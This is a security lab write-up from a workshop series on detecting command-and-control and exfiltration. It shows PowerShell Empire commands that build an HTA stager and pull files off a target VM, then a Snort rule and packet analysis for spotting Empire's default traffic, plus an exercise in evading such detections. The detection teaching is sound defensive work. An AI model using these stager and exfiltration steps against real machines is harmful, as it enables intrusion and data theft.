Attack Detection Fundamentals: C2 and Exfiltration - Lab #1

By Alfie Champion and Derek Stoeckenius on 15 July, 2020

Alfie Champion and Derek Stoeckenius

 15 July, 2020

In the fourth and final part of WithSecure Consulting's Attack Detection Fundamentals Workshop series, covering Command and Control (C2) and Exfiltration, we explored a number of attacker techniques for maintaining communication with an implant, blending in with corporate network traffic.

We also explored the detection strategies that can be employed to identify these channels using our own detection stacks, including ways to spot these channels being used for exfiltration. As with previous workshops, the following blog provides a step-by-step guide to recreating the demos from that C2 and Exfiltration workshop, as well as exercises to further the reader's understanding of the concepts shown. A recording of the workshop can be found here.

In this lab we're going to be using PowerShell Empire, a framework that was first introduced in 2015. While no-longer maintained by its original creators, it remains a popular choice for some threat actors. For the purposes of this lab, we're going to use a simple HTA payload (as we did in our first workshop) and observe the network traffic produced with the default traffic profile.

For the purposes of this lab, we're going to be producing and analysing packet captures. In a corporate context, you may carry out the same analysis with web proxy logs or, depending on your detection stack, this may be provided by endpoint telemetry (explored in our final lab). This lab is nice and simple and will only require an attacker VM and our target VM.


DISCLAIMER: Set up of the tools and the testing environment might not be covered comprehensively within this lab. We will assume basic familiarity with Linux/Windows command line and the ability of the reader to deploy the necessary frameworks. For that, it is recommended to follow the suggested references for the official tutorials and walkthrough published by the framework's author.

Required Tools

  • Wireshark
  • PowerShell Empire
  • Snort
  • 2x VMs (Disable AV and Firewall)


1 - Launching Empire

Launch Empire and you should see the following screen:

Ensure a default HTTP listener is configured and active. Then, generate the HTA stager to be executed on the target machine.

To do this, issue the following commands:

usestager windows/hta
set Listener http
set Outfile hta_payload.hta

Transfer the above generated "hta_payload.hta" to the target machine. We can simply double-click this payload to connect back to the attacking machine. A successful payload launch should look like the below.

To interact with the implant on our target machine and exfiltrate files, issue the following commands:

interact [name of agent for target machine]
download c:\[file to exfiltrate]

2 - Detection

Now we can review the network traffic generated by our established C2 channel!

Looking at the code for the Empire agent, we can see that by default it will communicate with three URIs, namely:

  • /admin/get.php
  • /news.php
  • /login/process.php

We can also see a default user agent:

Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko 

If we turn our attention to the Wireshark packet capture, immediately we can see these URIs in action:

If we follow the TCP stream, as we've done previously, we can take a slightly more detailed look at the traffic. Firstly, we see our default user agent present in the headers of our request. We can also see encrypted data being transmitted within the body of (what would otherwise be plaintext) HTTP requests.

As well as our user agent, preset URIs and encrypted HTTP body, we can also see some indicators produced as a result of our data exfiltration.

In the TCP stream above, we can see that our Empire server responds to our data exfil POST requests with a "Microsoft-IIS/7.5" server header (configured here), and a dummy 404 page (configured here).

Of course, as with many of the attacker tools we've used throughout these workshops, all of these settings are configurable - but nevertheless, we can alert upon the presence of these default C2 channels using Snort.

We can use a rule like the below to achieve this:

alert tcp any any -> any any (msg: “Possible Empire activity" ; sid:1000001 ; content:”404” ; http_stat_code; content:”Microsoft-IIS/7.5”; http_client_body;)

We can test this rule against the PCAP file that we've generated from our packet capture using the following command:

snort -A console -K none -q -r empire.pcap -c empirec2.rule

If configured correctly, Snort should output any rule matches to the console, as below:

06/27-11:29:34.132062  [**] [1:1000001:0] Possible Empire activity [**] [Priority: 0] {TCP} ->
06/27-11:29:39.211460  [**] [1:1000001:0] Possible Empire activity [**] [Priority: 0] {TCP} ->
06/27-11:29:44.285743  [**] [1:1000001:0] Possible Empire activity [**] [Priority: 0] {TCP} ->

It's a valuable exercise to review the default behaviours and notable strings used within these frameworks to develop similar detections. While obviously very narrowly focused, they can provide visibility of actors that have, for whatever reason, neglected to customise their tooling.

You could take a look at the traffic profiles within Covenant, another framework we've used. See if you can build Snort alerts for that profile, then modify your traffic profile to evade these.


In the first lab of our workshop series, we covered the detection opportunities provided by an attacker using PowerShell Empire. We focused on network traffic, evaluating packet captures and the Empire code base to identify Empire's URIs, user agent and server response behaviour. We also applied a Snort rule to our packet capture, demonstrating the potential for us to detect this traffic in action.  

The main takeaways from this final lab are:

  • An demonstration of PowerShell Empire and it's default traffic profile.
  • Opportunities to detect HTTP C2 channels based on URIs, encrypted HTTP bodies and user agents.
  • Use of Snort to produce an alert for Empire traffic based on server response behaviour.

Now, let's take a look at command and control over DNS!